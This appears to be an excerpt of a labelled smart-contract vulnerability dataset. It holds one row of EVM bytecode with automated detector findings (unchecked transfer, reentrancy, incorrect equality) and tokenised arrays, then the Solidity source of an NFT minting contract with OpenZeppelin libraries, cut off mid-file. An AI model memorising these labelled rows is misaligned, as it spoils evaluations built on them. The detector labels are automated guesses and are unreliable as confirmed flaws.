5b8101908080519060200190929190505050506117c66119b2565b5b505050565b6000808060088111156117db57fe5b600a601c9054906101000a900460ff1660088111156117f657fe5b14156119ad576277f88042016002819055506277f880600254016003819055506277f880600354016004819055506277f880600454016005819055506277f880600554016006819055506277f880600654016007819055506277f880600754016008819055506277f8806008540160098190555061187f6118788460066119ff565b600a611a3a565b9150600a60089054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561196857600080fd5b505af115801561197c573d6000803e3d6000fd5b505050506040513d602081101561199257600080fd5b8101908080519060200190929190505050506119ac6119b2565b5b505050565b6001600a601c9054906101000a900460ff1660088111156119cf57fe5b0160088111156119db57fe5b600a601c6101000a81548160ff021916908360088111156119f857fe5b0217905550565b6000806000841415611a145760009150611a33565b8284029050828482811515611a2557fe5b04141515611a2f57fe5b8091505b5092915050565b60008183811515611a4757fe5b049050929150505600a165627a7a72305820e3ff982563bc349d93c49dda08632c482d5d59b7a0a23882a0d41462011e707e0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}} | true | null | {'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}]} | [
101,
1014,
2595,
2683,
22203,
2620,
23499,
2575,
2497,
20842,
2546,
19841,
2509,
2278,
2620,
2620,
2497,
2620,
2683,
22907,
2063,
18139,
26337,
3676,
2581,
2063,
21084,
12879,
16048,
2549,
2050,
2475,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2385,
1025,
3206,
3647,
18900,
2232,
1063,
1013,
1013,
8785,
3136,
2007,
3808,
14148,
2008,
5466,
2006,
7561,
1013,
1013,
2235,
3806,
7620,
3853,
3647,
12274,
2140,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2065,
1006,
1037,
1027,
1027,
1014,
1007,
1063,
2709,
1014,
1025,
1065,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1008,
1038,
1025,
20865,
1006,
1039,
1013,
1037,
1027,
1027,
1038,
1007,
1025,
2709,
1039,
1025,
1065,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,403 | 0x95184813D62E301A048337B97C91FfAD8619B303 | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;
import "ERC721.sol";
import "Ownable.sol";
import "CryptoPunksMarket.sol";
import "NipplePunkTickets.sol";
contract NipplePunks is ERC721, Ownable {
CryptoPunksMarket public punks;
NipplePunkTickets public tickets;
bool public lostAndFoundActive = false;
bool public mintOpen = false;
uint256 public totalMinted = 0;
uint256 public totalSupply = 10003;
uint256 public lostAndFoundMintPrice = 0;
string public contractURI_ = "https://nipplepunks.io/nipplepunks.json";
constructor(CryptoPunksMarket punkAddress) ERC721("NipplePunks", "\u2299") {
punks = punkAddress;
}
modifier onlyWhenMintOpen() {
require(mintOpen, "minting is not open");
_;
}
function _mintImpl(address to, uint256 tokenId) private {
_safeMint(to, tokenId);
totalMinted++;
}
function ticketMint(uint256 ticketId) external onlyWhenMintOpen {
require(
tickets.ownerOf(ticketId) == _msgSender(),
"you don't own the ticket"
);
uint256 tokenId = tickets.ticketToNipplePunkMapping(ticketId);
require(!_exists(tokenId), "this punk has already been minted");
_mintImpl(_msgSender(), tokenId);
}
function _lostAndFoundMintImpl(uint256 index) private {
require(lostAndFoundActive, "lost and found phase not active");
require(
punks.punkIndexToAddress(index) == _msgSender(),
"you need to own the corresponding punk to use lost & found"
);
require(!_exists(index), "this punk has already been minted");
_mintImpl(_msgSender(), index);
}
function lostAndFoundMint(uint256 index) external payable {
require(lostAndFoundMintPrice == 0 || msg.value >= lostAndFoundMintPrice, "invalid price");
_lostAndFoundMintImpl(index);
}
function lostAndFoundMintMultiple(uint256[] calldata indexes) external payable {
require(lostAndFoundMintPrice == 0 || msg.value >= lostAndFoundMintPrice * indexes.length, "invalid price");
for (uint i = 0; i < indexes.length; i++) {
this.lostAndFoundMint(indexes[i]);
}
}
function ownerMint(address to, uint256 index) external onlyOwner {
_mintImpl(to, index);
}
function ownerMintMultiple(address to, uint256[] calldata indexes) external onlyOwner {
for (uint256 i = 0; i < indexes.length; i++) {
_mintImpl(to, indexes[i]);
}
}
function setLostAndFoundActive(bool newActive) public onlyOwner {
lostAndFoundActive = newActive;
}
function setMintOpen(bool newOpen) external onlyOwner {
mintOpen = newOpen;
}
function setTickets(NipplePunkTickets newTickets) external onlyOwner {
tickets = newTickets;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
return
string(
abi.encodePacked(
"ipfs://QmbJgzcWmDUsT6Z4qG82k7uF5mQ1YWHpGR3uMkBKcLq1Ss/",
Strings.toString(tokenId),
".json"
)
);
}
function contractURI() external view returns (string memory) {
return contractURI_;
}
function setContractURI(string calldata _uri) external onlyOwner {
contractURI_ = _uri;
}
function decimals() external pure returns (uint8) {
return 0;
}
function setLostAndFoundMintPrice(uint256 newPrice) external onlyOwner {
lostAndFoundMintPrice = newPrice;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
import "IERC721.sol";
import "IERC721Receiver.sol";
import "IERC721Metadata.sol";
import "Address.sol";
import "Context.sol";
import "Strings.sol";
import "ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
import "IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
import "IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
